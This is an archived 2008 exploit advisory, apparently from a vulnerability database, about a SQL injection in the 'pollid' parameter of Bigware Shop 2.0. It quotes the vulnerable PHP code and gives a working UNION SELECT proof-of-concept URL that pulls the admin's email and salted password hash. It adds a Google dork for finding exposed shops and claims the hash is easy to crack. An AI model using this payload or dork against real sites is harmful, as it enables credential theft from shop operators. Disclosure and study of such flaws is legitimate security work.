Bigware Shop 2.0 pollid Remote SQL Injection Vulnerability

🗓️ 30 Jan 2008 00:00:00Reported by RootType
Bigware Shop 2.0 Remote SQL Injectio

                                                ###########################
###Bigware&nbsp;Shop&nbsp;2.0########
#####################################################################
#&nbsp;Bug&nbsp;found&nbsp;by&nbsp;D4m14n&nbsp;&nbsp;
#&nbsp;Vendor:&nbsp;http://www.bigware.de/
#&nbsp;Vuln.&nbsp;Version:&nbsp;2.0&nbsp;(prior&nbsp;versions&nbsp;also&nbsp;may&nbsp;be&nbsp;affected)
#&nbsp;Email:&nbsp;[email protected]
#
#&nbsp;GoogleDork:&nbsp;&quot;Diese&nbsp;Shopsoftware&nbsp;wurde&nbsp;entwickelt&nbsp;von&nbsp;Bigware&quot;
#####################################################################

There's&nbsp;a&nbsp;SQL-Injection&nbsp;in&nbsp;&quot;main_bigware_53.tpl.php&quot;!
You&nbsp;can&nbsp;find&nbsp;more&nbsp;than&nbsp;this&nbsp;Injection&nbsp;in&nbsp;the&nbsp;Sourcecode&nbsp;(RFI,SQL-Injections).

#####################################################################
Sourcecode:
if&nbsp;(!isset($_GET['op']))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$_GET['op']=&quot;list&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;}
switch&nbsp;($_GET['op'])&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;results&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isset($_GET['pollid']))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$pollid=$_GET['pollid'];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$pollid=1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$poll_query&nbsp;=&nbsp;go_db_query(&quot;SELECT&nbsp;pollid,&nbsp;timeStamp&nbsp;FROM&nbsp;phesis_poll_desc&nbsp;WHERE&nbsp;pollid='&quot;.$pollid.&quot;'&quot;);&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$polls&nbsp;=&nbsp;go_db_fetch_array($poll_query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$title_query&nbsp;=&nbsp;go_db_query(&quot;select&nbsp;optionText&nbsp;from&nbsp;phesis_poll_data&nbsp;where&nbsp;pollid=$pollid&nbsp;and&nbsp;voteid='0'&nbsp;and&nbsp;language_id&nbsp;=&nbsp;'&quot;&nbsp;.&nbsp;$languages_id&nbsp;.&nbsp;&quot;'&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$title&nbsp;=&nbsp;go_db_fetch_array($title_query);

#####################################################################
Proof-of-Concept:

main_bigware_53.php?op=results&amp;pollid=-1/**/and/**/voteid=0/**/and/**/language_id=5/**/and/**/1=1/**/UnIOn/**/SeLeCt/**/ConCat(former_email_address,0x3a,former_password)/**/FrOM/**/former/**/WhEre/**/former_id=1/*

#####################################################################

You&nbsp;can&nbsp;see&nbsp;the&nbsp;Admins&nbsp;Email-Adress&nbsp;and&nbsp;his&nbsp;SALTED&nbsp;passwordhash&nbsp;(cracking&nbsp;this&nbsp;hash&nbsp;is&nbsp;very&nbsp;easy)

#####################################################################

If&nbsp;you&nbsp;are&nbsp;searching&nbsp;for&nbsp;a&nbsp;Coder,&nbsp;who&nbsp;searches&nbsp;Security-Holes&nbsp;in&nbsp;your&nbsp;Web-Applications,
feel&nbsp;free&nbsp;to&nbsp;contact&nbsp;me!
GreetZ&nbsp;2&nbsp;Shadowleet&nbsp;and&nbsp;some&nbsp;more&nbsp;;)

PS:&nbsp;Immer&nbsp;wenn&nbsp;mir&nbsp;langweilig&nbsp;ist,&nbsp;dann&nbsp;ver&amp;ouml;ffentliche&nbsp;ich&nbsp;Sicherheitslücken...&nbsp;
30 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1